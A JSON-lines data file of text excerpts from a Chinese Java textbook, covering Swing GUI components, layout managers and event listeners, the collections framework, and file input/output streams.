    {"text": "在本实例中，由于DrawIcon类继承了Icon接口，所以在该类中必须实现Icon接口中定义的所有方法，其中在实现paintIcon()方法中使用Graphics类中的方法绘制一个圆形的图标，其余实现接口的方法为返回图标的长与宽。 在DrawIcon类的构造方法中设置了图标的长与宽，这样如果需要在窗体中使用图标，就可以使用如下代码创建图标： 图13.4 实现Icon接口创建图标 DrawIcon icon=new DrawIcon(15,15); 在前文中提到过，一般情况下会将图标放置在按钮或标签上，这里将图标放置在标签上，然后将标签添加到容器中，这样就实现了在窗体中使用图标的功能。"},
    {"text": "2. 使用图片图标 Swing中的图标除了可以绘制之外，还可以使用某个特定的图片创建。 Swing利用javax.swing.ImageIcon类根据现有图片创建图标，ImageIcon类实现了Icon接口，同时Java支持多种图片格式。"},
    {"text": "ImageIcon类有多个构造方法，下面是其中几个常用的构造方法。 public ImageIcon()：该构造方法创建一个通用的ImageIcon对象，当真正需要设置图片时再使用ImageIcon对象调用setImage(Image image)方法来操作。 public ImageIcon(Image image)：可以直接从图片源创建图标。 public ImageIcon(Image image,String description)：除了可以从图片源创建图标之外，还可以为这个图标添加简短的描述，但这个描述不会在图标上显示，可以使用getDescription()方法获取这个描述。 public ImageIcon(URL url)：该构造方法利用位于计算机网络上的图像文件创建图标。"},
    {"text": "例13.4中该方法的参数是imageButton.jpg，这个路径是相对于MyImageIcon类文件的，所以可将imageButton.jpg图片文件与MyImageIcon类文件放在同一个文件夹下。"},
    {"text": "13.4 常用布局管理器 在Swing中，每个组件在容器中都有一个具体的位置和大小，而在容器中摆放各种组件时很难判断其具体位置和大小。 布局管理器提供了Swing组件安排、展示在容器中的方法及基本的布局功能。 使用布局管理器较程序员直接在容器中控制Swing组件的位置和大小方便得多，可以有效地处理整个窗体的布局。 Swing提供的常用布局管理器包括流布局管理器、边界布局管理器和网格布局管理器。 本节将探讨Swing中常用的布局管理器。 13.4.1 绝对布局 在Swing中，除了使用布局管理器之外还可以使用绝对布局。"},
    {"text": "【例13.5】在项目中创建继承JFrame窗体组件的AbsolutePosition类，设置布局管理器为null，即使用绝对定位的布局方式，创建两个按钮组件，将按钮分别定位在不同的窗体位置上。"},
    {"text": "图13.6 绝对布局效果 在本实例中，窗体的大小、位置以及窗体内组件的大小与位置都被进行绝对布局操作。 绝对布局使用setBounds(int x,int y,int width,int height)方法进行设置，如果使窗体对象调用setBounds()方法，它的参数x与y分别代表这个窗体在整个屏幕上出现的位置，width与height则代表这个窗体的宽与长； 如果使窗体内的组件调用setBounds()方法，参数x与y则代表这个组件在整个窗体摆放的位置，width与height则代表这个组件的大小。"},
    {"text": "13.4.2 流布局管理器 流（FlowLayout）布局管理器是最基本的布局管理器，在整个容器中的布局正如其名，像“流”一样从左到右摆放组件，直到占据了这一行的所有空间，然后再向下移动一行。"},
    {"text": "在public FlowLayout(int alignment,int horizGap,int vertGap)构造方法中还存在horizGap与vertGap两个参数，这两个参数分别以像素为单位指定组件之间的水平间隔与垂直间隔。"},
    {"text": "在此例中，首先将容器的布局管理器设置为FlowLayout，然后在窗体上摆放组件。 【例13.6】在项目中创建FlowLayoutPosition类，该类继承JFrame类成为窗体组件。 设置该窗体的布局管理器为FlowLayout布局管理器的实例对象。"},
    {"text": "图13.7 在应用程序使用流布局管理器 从本实例的运行结果中可以看出，如果改变整个窗体的大小，其中组件的摆放位置也会相应地发生变化，这正好验证了使用流布局管理器时组件从左到右摆放，当组件填满一行后，将自动换行，直到所有的组件都摆放在容器中为止。"},
    {"text": "例如，在例13.3中，容器中只添加了一个标签组件，在运行结果中可以看到这个标签被放置在窗体中间，并且整个组件占据了窗体的所有空间，实质上在这个容器中默认使用了边界布局管理器。"},
    {"text": "但是边界布局管理器的功能不止如此，边界布局管理器还可以将容器划分为东、南、西、北、中5个区域，可以将组件加入到这5个区域中。 容器调用Container类的add()方法添加组件时可以设置此组件在边界布局管理器中的区域，区域的控制可以由BorderLayout类中的成员变量来决定，这些成员变量的具体含义如表13.2所示。 表13.2 BorderLayout类的主要成员变量 下面举一个在容器中设置边界布局管理器的例子，分别在容器的东、南、西、北、中区域添加5个按钮。 【例13.7】在项目中创建BorderLayoutPosition类，该类继承JFrame类成为窗体组件，设置该窗体的布局管理器使用BorderLayout类的实例对象。"},
    {"text": "图13.8 在应用程序中使用边界布局管理器 在本实例中将布局以及组件名称分别放置在数组中，然后设置容器使用边界布局管理器，最后在循环中将按钮添加至容器中，并设置组件布局。"},
    {"text": "13.4.4 网格布局管理器 网格（GridLayout）布局管理器将容器划分为网格，所以组件可以按行和列进行排列。 在网格布局管理器中，每一个组件的大小都相同，并且网格中空格的个数由网格的行数和列数决定，如一个两行两列的网格能产生4个大小相等的网格。"},
    {"text": "组件从网格的左上角开始，按照从左到右、从上到下的顺序加入到网格中，而且每一个组件都会填满整个网格，改变窗体的大小，组件的大小也会随之改变。"},
    {"text": "图13.9 在应用程序中使用网格布局管理器 从本实例的运行结果中可以看出，组件在窗体中的布局呈现出一个3行7列的网格，并且添加到该布局中的组件被放置在网格中。"},
    {"text": "13.4.5 网格组布局管理器 由GridBagLayout类实现的布局管理器称为网格组布局管理器，它实现了一个动态的矩形网格，这个矩形网格由无数个矩形单元格组成，每个组件可以占用一个或多个这样的单元格。"},
    {"text": "在向由GridBagLayout类管理的容器中添加组件时，需要为每个组件创建一个与之关联的GridBagConstraints类的对象，通过该类中的属性可以设置组件的布局信息，如组件在网格组中位于第几行、第几列，以及需要占用几行几列等。 通过GridBagLayout类实现的矩形网格的绘制方向由容器决定，如果容器的方向是从左到右，则位于矩形网格左上角的单元格的列索引为0，此时组件左上角的点为起始点； 如果容器的方向是从右到左，则位于矩形网格右上角的单元格的列索引为0，此时组件右上角的点为起始点。"},
    {"text": "（1）gridx和gridy属性 这两个属性用来设置组件起始点所在单元格的索引值。 需要注意的是，属性gridx设置的是X轴（即网格水平方向）的索引值，所以它表示的是组件起始点所在列的索引； 属性gridy设置的是Y轴（即网格垂直方向）的索引值，所以它表示的是组件起始点所在行的索引，如图13.10所示。 图13.10 gridx和gridy属性 （2）gridwidth和gridheight属性 这两个属性用来设置组件占用网格组的行数和列数。 属性gridwidth为组件占用网格组的列数，也可以理解为以单元格为单位组件的宽度； 属性gridheight为组件占用网格组的行数，也可以理解为以单元格为单位组件的高度，如图13.11所示。"},
    {"text": "通常将显示区域从方向上划分为9个方位，分别为北方（NORTH）、东北（NORTHEAST）、东方（EAST）、东南（SOUTHEAST）、南方（SOUTH）、西南（SOUTHWEST）、西方（WEST）、西北（NORTHWEST）和中心（CENTER），如图13.12所示。"},
    {"text": "代表这9个方位的单词也是该类中的静态常量，可以利用这9个静态常量设置anchor属性，其中静态常量CENTER为默认位置。 如图13.13所示为将组件设置为各个静态常量的效果，图中的黑点为将相应组件的anchor属性设置为CENTER时组件中心所在的位置。"},
    {"text": "图13.11 gridwidth和gridheight属性 图13.12 从方向上划分的9个方位 图13.13 anchor属性 说明 图13.14中的组件A至组件M是辅助组件，只起到占位作用。"},
    {"text": "（4）fill属性 属性fill用来设置组件的填充方式。 当单元格显示区域的面积大于组件面积，或者一个组件占用多个单元格时，显示组件可能不必占用所有显示区域，在这种情况下可以通过fill属性设置组件的填充方式。 可以利用4个静态常量设置该属性，默认情况下是将该属性设置为静态常量NONE，即不调整组件大小至填满显示区域； 如果将该属性设置为静态常量HORIZONTAL，表示只调整组件水平方向的大小（即组件宽度）至填满显示区域； 如果将该属性设置为静态常量VERTICAL，表示只调整组件垂直方向的大小（即组件高度）至填满显示区域； 如果将该属性设置为静态常量BOTH，则表示同时调整组件的宽度和高度至填满显示区域。"},
    {"text": "（5）insets属性 属性insets用来设置组件四周与单元格边缘之间的最小距离。 该属性的类型为Insets，Insets类仅有一个构造方法Insets(int top, int left, int bottom, int right)，它的4个入口参数依次为组件上方、左侧、下方和右侧的最小距离，单位为像素，如图13.15所示。"},
    {"text": "如果为正数，则在首选大小的基础上增加指定的宽度和高度，如图13.16所示； 如果为负数，则在首选大小的基础上减小指定的宽度和高度，如图13.17所示。"},
    {"text": "图13.16 ipadx和ipady属性为正数 图13.17 ipadx和ipady属性为负数 （7）weightx和weighty属性 这两个属性用来设置网格组的每一行和每一列对额外空间的分布方式。"},
    {"text": "在不设置属性weightx和weighty（即采用默认设置）的情况下，当窗体调整到足够大时，将出现如图13.18所示的效果，组件全部聚集在窗体的中央，在组件四周出现了大片的额外空间。"},
    {"text": "属性weightx用来设置其所在列对额外空间的分布方式，如果在该列中设置了多个weightx属性，则取它们的最大值为该列的分布方式； 属性weighty用来设置其所在行对额外空间的分布方式，如果在该行中设置了多个weighty属性，则取它们的最大值为该行的分布方式。 技巧 在设置网格组的每一行和每一列对额外空间的分布方式时，建议只设置第一行的weightx属性和第一列的weighty属性，这样会方便前期调试和后期维护。 网格组的行和列对额外空间的分布方式完全相同，下面以网格组的行为例详细讲解对额外空间的分布方式。 网格组布局管理器首先计算出每一行的分布方式，即获取每一行的weighty属性的最大值，然后计算每个最大值占所有最大值总和的百分比，最后将额外空间的相应百分比分配给对应行，如图13.19所示。 图13.19 设置了属性weightx和weighty 技巧 在设置网格组的每一行和每一列对额外空间的分布方式时，建议为各个属性按百分比取值，如图13.19所示。"},
    {"text": "【例13.9】使用网格组布局管理器。 （实例位置：\\TM\\sl\\13.09） 本例实现了利用网格组布局管理器管理组件，并且使用了GridBagConstraints类中所有用来设置组件布局信息的属性，设计本例的出发点是对比各种设置的效果。"},
    {"text": "组件C占用两行，填充方式为全部填充； 组件D占用4行，填充方式为全部填充； 组件E占用两列，填充方式为水平填充； 组件G占用两行两列，填充方式为全部填充。"},
    {"text": "如果将组件G的填充方式改为垂直填充，并在水平方向上将组件的首选宽度增加30像素，将显示位置设为东方，修改后组件G的实现代码如下： 运行效果将如图13.21所示。"},
    {"text": "图13.20 使用网格组布局管理器 图13.21 修改组件G设置后的效果 13.5 常用面板 面板也是一个Swing容器，它可以作为容器容纳其他组件，但它也必须被添加到其他容器中。"},
    {"text": "图13.22在应用程序中使用面板 在本实例中，首先设置整个窗体的布局为2行1列的网格布局，然后先后定义4个面板，分别为4个面板设置网格布局，当然，行列数会有所不同，将按钮放置在每个面板中，最后将面板添加至容器中。"},
    {"text": "13.5.2 JScrollPane面板 在设置界面时，可能会遇到在一个较小的容器窗体中显示一个较大部分的内容的情况，这时可以使用JScrollPane面板。 JScrollPane面板是带滚动条的面板，它也是一种容器，但是JScrollPane只能放置一个组件，并且不可以使用布局管理器。 如果需要在JScrollPane面板中放置多个组件，需要将多个组件放置在JPanel面板上，然后将JPanel面板作为一个整体组件添加在JScrollPane组件上。"},
    {"text": "【例13.11】在项目中创建JScrollPaneTest类，该类继承JFrame类成为窗体组件，在类中创建JScrollPane滚动面板组件，该滚动面板组件包含JTextArea文本域组件。"},
    {"text": "从本实例的运行结果中可以看出，在窗体中创建一个带滚动条的文字编译器，首先需要初始化编译器（在Swing中编译器类为JTextArea类），并在初始化时指定编译器的大小完成（如果读者对编译器的概念有些困惑，可以参见后续章节）。 当创建带滚动条的面板时，需将编译器加入面板中，最后将带滚动条的编译器放置在容器中即可。"},
    {"text": "Swing中提供多种按钮，包括提交按钮、复选框、单选按钮等，这些按钮都是从AbstractButton类中继承而来的，本节将着重讲解这些按钮的应用。 13.6.1 提交按钮组件 Swing中的提交按钮（JButton）由JButton对象表示，其构造方法主要有以下几种形式： public JButton()。"},
    {"text": "另一种方式是首先创建一个没有定义图标和文字的按钮对象，然后使用setIcon()方法为这个按钮定制一个图标，其中setToolTipText()方法是为按钮设置提示文字，setBorderPainted()方法设置按钮边界是否显示。"},
    {"text": "这里值得注意的一点是，使用setMaximumSize()方法设置按钮的大小与图标的大小一致，该方法需要的参数类型为Dimension类对象，这样看上去此图片就如同按钮一样摆放在窗体中，同时也可以使用setEnabled()方法设置按钮是否可用。"},
    {"text": "说明 上述这些设置按钮属性的方法多来自JButton的父类AbstractButton类，这里只是简单列举了几个常用的方法，读者如果有需要可以查询Java API，使用自己需要的方法实现相应的功能。"},
    {"text": "13.6.2 单选按钮组件 在默认情况下，单选按钮（JRadioButton）显示一个圆形图标，并且通常在该图标旁放置一些说明性文字，而在应用程序中，一般将多个单选按钮放置在按钮组中，使这些单选按钮表现出某种功能，当用户选中某个单选按钮后，按钮组中其他按钮将被自动取消。 单选按钮是Swing组件中JRadioButton类的对象，该类是JToggleButton的子类，而JToggleButton类又是AbstractButton类的子类，所以控制单选按钮的诸多方法都是AbstractButton类中的方法。 1. 单选按钮 可以使用JRadioButton类中的构造方法创建单选按钮对象。"},
    {"text": "public JRadioButton()。 public JRadioButton(Icon icon)。 public JRadioButton(Icon icon,boolean selected)。 public JRadioButton(String text)。 public JRadioButton(String text,Icon icon)。 public JRadioButton(String text,Icon icon,boolean selected)。"},
    {"text": "2. 按钮组 在Swing中存在一个ButtonGroup类，用于产生按钮组，如果希望将所有的单选按钮放置在按钮组中，需要实例化一个JRadioButton对象，并使用该对象调用add()方法添加单选按钮。"},
    {"text": "本实例中的窗体使用了边界布局管理器，将编译器放置在面板中置于窗体的最北端，同时将3个复选框放置在面板中置于窗体的最南端（带滚动条的编译器在13.6.2节中已经讲解过，这里不再赘述）。"},
    {"text": "使用JCheckBox类中的构造方法实例化3个复选框对象，将这3个复选框放置在面板中，分别为这3个复选框设置监听事件，当用户选中某个复选框时，相应文本框将显示相关内容，这里使用的是JTextArea类中的append()方法为文本域添加文字。"},
    {"text": "图13.25 复选框的应用 13.7 列表组件 Swing中提供两种列表组件，分别为下拉列表框与列表框。 下拉列表框与列表框都是带有一系列项目的组件，用户可以从中选择需要的项目。 列表框较下拉列表框更直观，它将所有的项目罗列在列表框中； 但下拉列表框较列表框更为便捷、美观，它将所有的项目隐藏起来，当用户选用其中的项目时才会显现出来。 本节将详细讲解列表框与下拉列表框的应用。"},
    {"text": "13.7.1 下拉列表框组件 1. JComboBox类 初次使用Swing中的下拉列表框时，会感觉到该类下拉列表框与Windows操作系统中的下拉列表框有一些相似，实质上两者并不完全相同，因为Swing中的下拉列表框不仅可以供用户从中选择项目，也提供编辑项目中内容的功能。"},
    {"text": "下拉列表框是一个带条状的显示区，它具有下拉功能。 在下拉列表框的右方存在一个倒三角形的按钮，当用户单击该按钮时，下拉列表框中的项目将会以列表形式显示出来。"},
    {"text": "在初始化下拉列表框时，可以选择同时指定下拉列表框中的项目内容，也可以在程序中使用其他方法设置下拉列表框中的内容，下拉列表框中的内容可以被封装在ComboBoxModel类型、数组或Vector类型中。 2. JComboBox模型 在开发程序中，一般将下拉列表框中的项目封装为ComboBoxModel的情况比较多。 ComboBoxModel为接口，它代表一般模型，可以自定义一个类实现该接口，然后在初始化JComboBox对象时向上转型为ComboBoxModel接口类型，但是必须实现以下两种方法： public void setSelectedItem(Object item)。"},
    {"text": "其中，setSelectedItem()方法用于设置下拉列表框中的选中项，getSelectedItem()方法用于返回下拉列表框中的选中项，有了这两个方法，就可以轻松地对下拉列表框中的项目进行操作。"},
    {"text": "在本实例中，笔者自定义了一个实现ComboBoxModel接口并继承AbstractListModel类的类，这样这个类就可以实现或重写该接口与该类中的重要方法，同时在定义下拉列表框时，只要将该类向上转型为ComboBoxModel接口即可。"},
    {"text": "图13.26 下拉列表框的应用 13.7.2 列表框组件 列表框（JList）与下拉列表框的区别不仅表现在外观上，当激活下拉列表框时，还会出现下拉列表框中的内容；"},
    {"text": "用户在选择列表框中的某一项时，按住Shift键并选择列表框中的其他项目，则当前选项和其他项目之间的选项将全部被选中； 也可以按住Ctrl键并单击列表框中的单个项目，这样可以使列表框中被单击的项目反复切换非选择状态或选择状态。"},
    {"text": "在上述构造方法中，存在一个没有参数的构造方法，可以通过在初始化列表框后使用setListData()方法对列表框进行设置，也可以在初始化的过程中对列表框中的项目进行设置。"},
    {"text": "当使用数组作为构造方法的参数时，首先需要创建列表项目的数组，然后再利用构造方法来初始化列表框。 【例13.16】使用数组作为初始化列表框的参数。"},
    {"text": "如果使用上述构造方法中的第3个构造方法，将Vector类型的数据作为初始化JList组件的参数，通常可以使用例13.16中的代码。 【例13.17】使用Vector类型数据作为初始化列表框的参数。"},
    {"text": "在这个类中提供了getElementAt()与getSize()方法，其中getElementAt()方法代表根据项目的索引获取列表框中的值，而getSize()方法用于获取列表框中的项目个数。"},
    {"text": "图13.27列表框的使用 除了可以使用例13.17中的方式创建列表框之外，还可以使用DefaultListModel类创建列表框，该类扩展了AbstractListModel类，所以也可以通过DefaultListModel对象向上转型为ListModel接口初始化列表框，同时DefaultListModel类提供addElement()方法实现将内容添加至列表框中。 【例13.19】使用DefaultListModel类创建列表框。"},
    {"text": "13.8.1 文本框组件 文本框（JTextField）用来显示或编辑一个单行文本，在Swing中通过javax.swing.JTextField类对象创建，该类继承了javax.swing.text.JTextComponent类。"},
    {"text": "public JTextField()。 public JTextField(String text)。 public JTextField(int fieldwidth)。 public JTextField(String text,int fieldwidth)。 public JTextField(Document docModel,String text,int fieldWidth)。 从上述构造方法可以看出，定义JTextField组件很简单，可以通过在初始化文本框时设置文本框的默认文字、文本框的长度等实现。"},
    {"text": "图13.28 按钮控制文本框中的值 在本实例的窗体中主要设置一个文本框和一个按钮，然后分别为文本框和按钮设置事件，当用户将光标焦点落于文本框中并按下Enter键时，文本框将执行actionPerformed()方法中设置的操作。"},
    {"text": "13.8.2 密码框组件 密码框（JPasswordField）与文本框的定义与用法基本相同，唯一不同的是密码框将用户输入的字符串以某种符号进行加密。 密码框对象是通过javax.swing.JPasswordField类来创建的，JPasswordField类的构造方法与JTextField类的构造方法非常相似。"},
    {"text": "public JPasswordField()。 public JPasswordFiled(String text)。 public JPasswordField(int fieldwidth)。 public JPasswordField(String text,int fieldwidth)。 public JPasswordField(Document docModel,String text,int fieldWidth)。"},
    {"text": "JTextArea常用的构造方法如下： public JTextArea()。 public JTextArea(String text)。 public JTextArea(int rows,int columns)。 public JTextArea(Document doc)。 public JTextArea(Document doc,String Text,int rows,int columns)。"},
    {"text": "图13.29 定义文本域 JTextArea类中存在一个setLineWrap()方法，该方法用于设置文本域是否可以自动换行，如果将该方法的参数设置为true，文本域将自动换行，否则不自动换行。"},
    {"text": "本节将着重讲解Swing中常用的两个事件监听器，即动作事件监听器与焦点事件监听器。 13.9.1 监听事件简介 在Swing事件模型中由3个分离的对象完成对事件的处理，分别为事件源、事件以及监听程序。"},
    {"text": "所谓事件监听器，实质上就是一个“实现特定类型监听器接口”的类对象。 具体地说，事件几乎都以对象来表示，它是某种事件类的对象，事件源（如按钮）会在用户做出相应的动作（如按钮被按下）时产生事件对象，如动作事件对应ActionEvent类对象，同时要编写一个监听器的类必须实现相应的接口，如ActionEvent类对应的是ActionListener接口，需要获取某个事件对象就必须实现相应的接口，同时需要将接口中的方法一一实现。 最后事件源（按钮）调用相应的方法加载这个“实现特定类型监听器接口”的类对象，所有的事件源都具有addXXXListener()和removeXXXListener()方法（其中“XXX”表示监听事件类型），这样就可以为组件添加或移除相应的事件监听器。"},
    {"text": "表13.3描述了动作事件监听器的接口与事件源。 表13.3 动作事件监听器 下面以单击按钮事件为例来说明动作事件监听器，当用户单击按钮时，将触发动作事件。"},
    {"text": "【例13.23】在项目中创建SimpleEvent类，使该类继承JFrame类成为窗体组件，在类中创建按钮组件，为按钮组件添加动作监听器，然后将按钮组件添加到窗体中。"},
    {"text": "由于获取事件监听时需要获取实现ActionListener接口的对象，所以笔者定义了一个内部类jbAction实现ActionListener接口，同时在该内部类中实现了actionPerformed()方法，也就是在actionPerformed()方法中定义当用户单击该按钮后实现怎样的功能。"},
    {"text": "如果再定义一个按钮对象jb2，并为该按钮也设置一个监听事件，这个监听事件与按钮对象jb不同，所以也需要重写actionPerformed()方法，那么可以在同一个类中重写两次actionPerformed()方法吗？"},
    {"text": "所以为事件源做监听事件时，使用内部类的方式来解决这个问题。 说明 一般情况下，为事件源做监听事件应使用匿名内部类形式，如果读者对这方面的知识不熟悉，可以参看第11章的内容。"},
    {"text": "13.9.3 焦点事件监听器 焦点事件（FocusEvent）监听器在实际项目开发中应用也比较广泛，如将光标焦点离开一个文本框时需要弹出一个对话框，或者将焦点返回给该文本框等。"},
    {"text": "焦点事件监听器的相关内容如表13.4所示。 表13.4 焦点事件监听器 下面来看一个焦点事件的实例，当用户将焦点离开文本框时，将弹出相应对话框。"},
    {"text": "【例13.25】在项目中创建FocusEventTest类，使该类继承JFrame类成为窗体组件，在类中创建文本框组件，并为文本框添加焦点事件监听器，将文本框组件添加到窗体中。"},
    {"text": "在该接口中定义了两个方法，分别为focusLost()与focusGained()方法，其中focusLost()方法是在组件失去焦点时调用的，而focusGained()方法是在组件获取焦点时调用的。 由于本实例需要实现在文本框失去焦点时弹出相应对话框的功能，所以重写focusLost()方法，同时在为文本框添加监听时使用了匿名内部类的形式，将实现FocusListener接口对象传递给addFocusListener()方法。"},
    {"text": "通过对本章的学习，读者可以开发出带GUI界面的应用程序窗体，并能灵活运用各种组件完善窗体的功能，实现组件的各种事件处理。 13.11 实践与练习 1. 尝试开发一个窗体，如图13.32所示。"},
    {"text": "（答案位置：\\TM\\sl\\13.20） 2. 尝试创建一个窗体，选择合适的布局管理器，并在窗体中设置一个下拉列表框，初始状态下拉列表框中没有项目，并设置一个按钮，为按钮设置动作事件监听器，当用户单击该按钮时，下拉列表框中相应添加数组中的内容。"},
    {"text": "（答案位置：\\TM\\sl\\13.21） 3. 尝试开发一个登录窗体，包括用户名、密码以及提交按钮和重置按钮，当用户输入用户名mr、密码mrsoft时，弹出登录成功提示对话框。"},
    {"text": "（答案位置：\\TM\\sl\\13.22） 图13.32 窗体 第14章 集合类 集合可以看作是一个容器，如红色的衣服可以看作是一个集合，所有Java类的书也可以看作是一个集合。"},
    {"text": "通过阅读本章，您可以： 了解集合类的概念 掌握Collection接口知识 掌握List集合的应用 掌握Set集合的应用 掌握Map集合的应用 14.1 集合类概述 java.util包中提供了一些集合类，这些集合类又被称为容器。"},
    {"text": "LinkedList类采用链表结构保存对象。 这种结构的优点是便于向集合中插入和删除对象，需要向集合中插入、删除对象时，使用LinkedList类实现的List集合的效率较高；"},
    {"text": "使用List集合时通常声明为List类型，可通过不同的实现类来实例化集合。 【例14.2】分别通过ArrayList、LinkedList类实例化List集合，代码如下： 在上面的代码中，E可以是合法的Java数据类型。"},
    {"text": "【例14.3】在项目中创建类Gather，在主方法中创建集合对象，通过Math类的random()方法随机获取集合中的某个元素，然后移除数组中索引位置是“2”的元素，最后遍历数组。"},
    {"text": "14.4 Set集合 Set集合中的对象不按特定的方式排序，只是简单地把对象加入集合中，但Set集合中不能包含重复对象。 Set集合由Set接口和Set接口的实现类组成。 Set接口继承了Collection接口，因此包含Collection接口的所有方法。 注意 Set的构造有一个约束条件，传入的Collection对象不能有重复值，必须小心操作可变对象（Mutable Object）。"},
    {"text": "TreeSet类不仅实现了Set接口，还实现了java.util.SortedSet接口，因此，TreeSet类实现的Set集合在遍历集合时按照自然顺序递增排序，也可以按照指定比较器递增排序，即可以通过比较器对用TreeSet类实现的Set集合中的对象进行排序。"},
    {"text": "TreeSet类新增的方法如表14.2所示。 表14.2 TreeSet类增加的方法 【例14.4】在项目中创建类UpdateStu，实现Comparable接口，重写该接口中的compareTo()方法。"},
    {"text": "图14.4 例14.4的运行结果 代码说明：存入TreeSet类实现的Set集合必须实现Comparable接口，该接口中的compareTo(Object o)方法比较此对象与指定对象的顺序。"},
    {"text": "技巧 headSet()、subSet()、tailSet()方法截取对象生成新集合时是否包含指定的参数，可通过如下方法来判别：如果指定参数位于新集合的起始位置，则包含该对象，如subSet()方法的第一个参数和tailSet()方法的参数； 如果指定参数是新集合的终止位置，则不包含该参数，如headSet()方法的入口参数和subSet()方法的第二个入口参数。"},
    {"text": "key还决定了存储对象在映射中的存储位置，但不是由key对象本身决定的，而是通过一种“散列技术”进行处理，产生一个散列码的整数值。 散列码通常用作一个偏移量，该偏移量对应分配给映射的内存区域的起始位置，从而确定存储对象在映射中的存储位置。"},
    {"text": "Map接口中同样提供了集合的常用方法，除此之外还包括如表14.3所示的常用方法。 表14.3 Map接口中的常用方法 下面通过实例介绍Map接口中某些方法的使用。"},
    {"text": "建议使用HashMap类实现Map集合，因为由HashMap类实现的Map集合添加和删除映射关系效率更高。 HashMap是基于哈希表的Map接口的实现，HashMap通过哈希码对其内部的映射关系进行快速查找； 而TreeMap中的映射关系存在一定的顺序，如果希望Map集合中的对象也存在一定的顺序，应该使用TreeMap类实现Map集合。 HashMap类是基于哈希表的Map接口的实现，此实现提供所有可选的映射操作，并允许使用null值和null键，但必须保证键的唯一性。 HashMap通过哈希表对其内部的映射关系进行快速查找。"},
    {"text": "可以通过HashMap类创建Map集合，当需要顺序输出时，再创建一个完成相同映射关系的TreeMap类实例。 【例14.6】通过HashMap类实例化Map集合，并遍历该Map集合，然后创建TreeMap实例实现将集合中的元素顺序输出。"},
    {"text": "（答案位置：\\TM\\sl\\14.06） 2. 分别向Set集合以及List集合中添加“A”“a”“c”“C”“a”5个元素，观察重复值“a”能否重复地在List集合以及Set集合中添加。"},
    {"text": "（答案位置：\\TM\\sl\\14.07） 3. 创建Map集合，创建Emp对象，并将Emp对象添加到集合中（Emp对象的id作为Map集合的键），并将id为015的对象从集合中移除。"},
    {"text": "通过阅读本章，您可以： 了解流的概念 了解输入／输出流的分类 掌握文件输入／输出流的使用方法 掌握带缓存的输入／输出流的使用方法 理解ZIP压缩输入／输出流的应用 15.1 流概述 流是一组有序的数据序列，根据操作的类型，可分为输入流和输出流两种。"},
    {"text": "I/O（Input/Output，输入／输出）流提供了一条通道程序，可以使用这条通道把源中的字节序列送到目的地。 虽然I/O流通常与磁盘文件存取有关，但是程序的源和目的地也可以是键盘、鼠标、内存或显示器窗口等。"},
    {"text": "其中，所有输入流类都是抽象类InputStream（字节输入流）或抽象类Reader（字符输入流）的子类； 而所有输出流都是抽象类OutputStream（字节输出流）或抽象类Writer（字符输出流）的子类。 15.2.1 输入流 InputStream类是字节输入流的抽象类，是所有字节输入流的父类。"},
    {"text": "图15.3 InputStream类的层次结构 说明 并不是所有的InputStream类的子类都支持InputStream中定义的所有方法，如skip()、mark()、reset()等方法只对某些子类有用。"},
    {"text": "Java为字符文本的输入专门提供了一套单独的类Reader，但Reader类并不是InputStream类的替换者，只是在处理字符串时简化了编程。 Reader类是字符输入流的抽象类，所有字符输入流的实现都是它的子类。"},
    {"text": "OutputStream类的具体层次如图15.5所示。 图15.5 OutputStream类的层次结构 OutputStream类中的所有方法均返回void，在遇到错误时会引发IOException异常。 下面对OutputStream类中的方法作简单的介绍。"},
    {"text": "write(int b)方法：将指定的字节写入此输出流。 write(byte[] b)方法：将b个字节从指定的byte数组写入此输出流。 write(byte[] b,int off,int len)方法：将指定byte数组中从偏移量off开始的len个字节写入此输出流。"},
    {"text": "File类定义了一些与平台无关的方法来操作文件，可以通过调用File类中的方法，实现创建、删除、重命名文件等操作。 File类的对象主要用来获取文件本身的一些信息，如文件所在的目录、文件的长度、文件读写权限等。"},
    {"text": "（1）File(String pathname) 该构造方法通过将给定路径名字符串转换为抽象路径名来创建一个新File实例。 语法如下： new File(String pathname) 其中，pathname指路径名称（包含文件名）。 例如： File file = new File(\"d:/1.txt\"); （2）File(String parent,String child) 该构造方法根据定义的父路径和子路径字符串（包含文件名）创建一个新的File对象。 语法如下： new File(String parent,String child) parent：父路径字符串，例如D:/或D:/doc。 child：子路径字符串，例如letter.txt。 （3）File(File f , String child) 该构造方法根据parent抽象路径名和child路径名字符串创建一个新File实例。 语法如下： new File(File f,String child) f：父路径对象，例如D:/doc/。 child：子路径字符串，例如letter.txt。"},
    {"text": "当使用File类创建一个文件对象后，例如： File file = new File(\"word.txt\"); 如果当前目录中不存在名称为word的文件，File类对象可通过调用createNewFile()方法创建一个名称为word.txt的文件； 如果存在word.txt文件，可以通过文件对象的delete()方法将其删除，如例15.1所示。 【例15.1】在项目中创建类FileTest，在主方法中判断D盘的myword文件夹是否存在word.txt文件，如果该文件存在则将其删除，不存在则创建该文件。"},
    {"text": "15.3.2 获取文件信息 File类提供了很多方法以获取文件本身信息，其中常用的方法如表15.1所示。 表15.1 File类的常用方法 下面通过实例介绍如何使用上述的某些方法来获取文件信息。"},
    {"text": "图15.8 例15.2的运行结果 15.4 文件输入／输出流 程序运行期间，大部分数据都在内存中进行操作，当程序结束或关闭时，这些数据将消失。"},
    {"text": "15.4.1 FileInputStream与FileOutputStream类 FileInputStream类与FileOutputStream类都用来操作磁盘文件。 如果用户的文件读取需求比较简单，则可以使用FileInputStream类，该类继承自InputStream类。 FileOutputStream类与FileInputStream类对应，提供了基本的文件写入能力。 FileOutputStream类是OutputStream类的子类。 FileInputStream类常用的构造方法如下： FileInputStream(String name)。 FileInputStream(File file)。 第一个构造方法使用给定的文件名name创建一个FileInputStream对象，第二个构造方法使用File对象创建FileInputStream对象。"},
    {"text": "FileOutputStream类有与FileInputStream类相同的参数构造方法，创建一个FileOutputStream对象时，可以指定不存在的文件名，但此文件不能是一个已被其他程序打开的文件。 下面的实例就是使用FileInputStream与FileOutputStream类实现文件的读取与写入功能的。 【例15.3】使用FileOutputStream类向文件word.txt写入信息，然后通过FileInputStream类将文件中的数据读取到控制台上。"},
    {"text": "一个被打开的流有可能会用尽系统资源，这取决于平台和实现。 如果没有将打开的流关闭，当另一个程序试图打开另一个流时，可能会得不到需要的资源。"},
    {"text": "15.4.2 FileReader和FileWriter类 使用FileOutputStream类向文件中写入数据与使用FileInputStream类从文件中将内容读出来，都存在一点不足，即这两个类都只提供了对字节或字节数组的读取方法。"},
    {"text": "【例15.4】本实例创建Swing窗体，单击窗体中的“写入文件”按钮实现将文本框中的数据写入到磁盘文件中，单击“读取文件”按钮，系统将磁盘文件中的信息显示在文本框中。"},
